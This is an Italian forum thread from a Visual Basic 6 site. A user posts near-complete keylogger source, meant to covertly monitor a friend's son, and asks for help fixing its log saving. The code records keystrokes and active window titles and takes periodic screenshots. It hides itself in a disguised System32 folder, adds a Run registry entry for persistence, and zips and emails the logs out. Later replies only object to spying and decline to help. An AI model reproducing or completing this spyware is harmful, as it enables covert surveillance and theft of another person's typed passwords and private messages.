Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Visual Basic 6 - Problema con Keylogger
Forum - Visual Basic 6 - Problema con Keylogger

Avatar
Rygan (Normal User)
Newbie


Messaggi: 4
Iscritto: 24/06/2009

Segnala al moderatore
Postato alle 16:36
Mercoledì, 24/06/2009
Salve a tutti, l'altro giorno un mio amico mi ha chiesto se gli avessi potuto fare un keylogger per controllare suo figlio e io gli ho detto di si. Ho cominciato a farlo anche se ho riscontrato problemi nel salvare il file log.
1-appena controllo il file log ci sono caratteri in + di quelli della textbox della form. Il codice che ho usato per salvare è questo:

Codice sorgente - presumibilmente Visual Basic 6

  1. Open log For Append As #1
  2.         Print #1, Text1.Text
  3.     Close #1


A me pare corretto ma lo salva male lo stesso.

2-volevo salvare nel file log il nome della finestra seleziona e quindi in cui si scrive e sobito dopo il testo che l'utente sta scrivendo:

Codice sorgente - presumibilmente VB.NET

  1. Private Declare Function GetActiveWindow Lib "user32" () As Long
  2. Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  3. Private Declare Function GetForegroundWindow Lib "user32" () As Long
  4.  
  5. Dim foreground_hwnd As Long
  6. Dim txt As String
  7.  
  8. Public Sub NomeFinestra()
  9. On Error Resume Next
  10.     foreground_hwnd = GetForegroundWindow()
  11.  
  12.     txt = Space$(1024)
  13.     length = GetWindowText(foreground_hwnd, txt, Len(txt))
  14.     txt = Left$(txt, length)
  15.  
  16.     lblCaption.Text = txt
  17. End Sub



Quindi ricapitolando mi manca solo il salvataggio del testo e del nome della finestra nel file log.
Nel caso nn mi fossi espresso bene ecco qui il codice del keylogger intero:

Codice sorgente - presumibilmente VB.NET

  1. Private Declare Function movefile Lib "kernel32" Alias "MoveFileA" (ByVal IpExistingFileName As String, ByVal IpnewfileName As String) As Long
  2. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  3. Private Declare Function GetActiveWindow Lib "user32" () As Long
  4. Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  5. Private Declare Function GetForegroundWindow Lib "user32" () As Long
  6. Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
  7. Private Const VK_SNAPSHOT = &H2C
  8. Dim foreground_hwnd As Long
  9. Dim txt As String
  10. Dim length As Long
  11. Dim result As Integer
  12. Dim log As String
  13. Dim PicturePath As String
  14. Dim oZip As CGZipFiles
  15.  
  16. Private Sub Form_Load()
  17. On Error Resume Next
  18.     PicturePath = "C:\Windows\System32\SistemPicture"
  19.     log = "C:\Windows\Log.txt"
  20.     MkDir PicturePath
  21.     movefile App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\System32\SystemPicture\" & App.EXEName & ".exe"
  22.     Path = "C\WINDOWS\Sistem32\SystemPicture\Picture.exe"
  23.     Call savestring(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", Explorer.exe, Path)
  24. End Sub
  25.  
  26. Private Sub Timer1_Timer()
  27. On Error Resume Next
  28. Keylogger
  29. DoEvents
  30. End Sub
  31.  
  32. Private Sub timer2_timer()
  33. On Error Resume Next
  34. ZipFile
  35. Email
  36. End Sub
  37.  
  38. Private Sub Timer3_Timer()
  39. On Error Resume Next
  40. CatturaSchermo
  41. End Sub
  42.  
  43. Public Sub CatturaSchermo()
  44. On Error Resume Next
  45. Picture1.Picture = Clipboard.GetData
  46.     DoEvents
  47.     keybd_event VK_SNAPSHOT, 0, 0, 0
  48.     DoEvents
  49. Call SavePicture(Picture1, "C:\WINDOWS\System32\SystemPicture\" & Time & ".jpg")
  50. End Sub
  51.  
  52. Public Sub Keylogger()
  53. On Error Resume Next
  54. For i = 1 To 255
  55.     result = 0
  56.     result = GetAsyncKeyState(i)
  57.  
  58. If result = -32767 Then
  59.     Text1.Text = Text1.Text + Chr(i)
  60. End If
  61. Next i
  62.  
  63.     foreground_hwnd = GetForegroundWindow()
  64.  
  65.     txt = Space$(1024)
  66.     length = GetWindowText(foreground_hwnd, txt, Len(txt))
  67.     txt = Left$(txt, length)
  68.  
  69.     lblCaption.Text = txt
  70. End Sub
  71.  
  72. Public Sub Email()
  73. On Error Resume Next
  74. With MAPSESS
  75.     .DownLoadMail = False
  76.     .UserName = "mittente"
  77.     .Password = "pw mittente"
  78.     .LogonUI = True
  79.     .SignOn
  80.     .NewSession = True
  81.     bNewSession = .NewSession
  82.     MAPMESS.SessionID = .SessionID
  83. End With
  84.     MAPMESS.MsgIndex = -1
  85.     MAPMESS.Compose
  86.     MAPMESS.RecipDisplayName = "destinatario"
  87.     MAPMESS.AttachmentIndex = 0
  88.     MAPMESS.AttachmentPathName = App.Path & "*.zip"
  89.     MAPMESS.RecipAddress = "SMTP:" & "destinatario"
  90.     MAPMESS.MsgSubject = "oggetto"
  91.     MAPMESS.MsgNoteText = "testo del messaggio"
  92.     MAPMESS.Send False
  93. End Sub
  94.  
  95. Public Sub ZipFile()
  96. Set oZip = New CGZipFiles
  97. oZip.ZipFileName = "C:\WINDOWS\SystemPicture\" & Time & ".zip"
  98. oZip.AddFile "C:\WINDOWS\SystemPicture\*.*"
  99. oZip.AddFile "C:\WINDOWS\Log.txt"
  100. Set oZip = Nothing
  101. End Sub



Grazie per l'attenzione e salve

Ultima modifica effettuata da Rygan il 24/06/2009 alle 16:37
PM Quote
Avatar
tippolo (Normal User)
Pro


Messaggi: 157
Iscritto: 21/09/2008

Segnala al moderatore
Postato alle 19:42
Mercoledì, 24/06/2009
Testo quotato

Postato originariamente da Rygan:

Salve a tutti, l'altro giorno un mio amico mi ha chiesto se gli avessi potuto fare un keylogger per controllare suo figlio e io gli ho detto di si.



Sono sempre stato contrario nel controllare i figli utilizzando i keylogger.
A mio parere i figli vanno educati non "SPIATI".:nono:
Come potrei guardare in faccia mio figlio se scoprisse che leggo tutto quello che scrive al PC? Magari le sue chattate con la morosa? :blush:

PM Quote
Avatar
Rygan (Normal User)
Newbie


Messaggi: 4
Iscritto: 24/06/2009

Segnala al moderatore
Postato alle 7:34
Giovedì, 25/06/2009
Perchè invece che pensare al motivo per il quale lo faccio non pensi un pò ad aiutarmi che riguarda sempre la mia cultura generale?

Ho letto nel forum di Visual Basic "Vuoi creare un virus?Leggi qui.."
Bèh io non voglio fare colpo su nessun amico e oltretutto ho studiato il Visual Basic e non sono uno "script-kiddie".

Anche solo per questo motido dovresti(In teoria) aiutarmi. E apprezza la sincerità che ho visto in altri post che gli utenti hanno paura a dire per quale motivo chiedono di aiutrli con i loro codici(Keylogger). Invece io ho subito esplicitato l'uso che ne avrei fatto e non sono fatti tuoi come  il mio amico educa suo figlio.

Salve

PM Quote
Avatar
tippolo (Normal User)
Pro


Messaggi: 157
Iscritto: 21/09/2008

Segnala al moderatore
Postato alle 18:18
Giovedì, 25/06/2009
Testo quotato

Postato originariamente da Rygan:

Perchè invece che pensare al motivo per il quale lo faccio non pensi un pò ad aiutarmi...


Il perchè te l'ho già spiegato nel post precedente e non ho nessuna intenzione di continuare questa discussione perchè siamo andati ben oltre l'OT

PM Quote
Avatar
theprogrammer (Normal User)
Guru^2


Messaggi: 2509
Iscritto: 28/01/2009

Segnala al moderatore
Postato alle 23:45
Lunedì, 29/06/2009
Sono completamente d'accordo con tippolo, anzi, ti diro' anche che nei forum, in genere, le discussioni su keylogger e malware non sono affatto gradite ...

PM Quote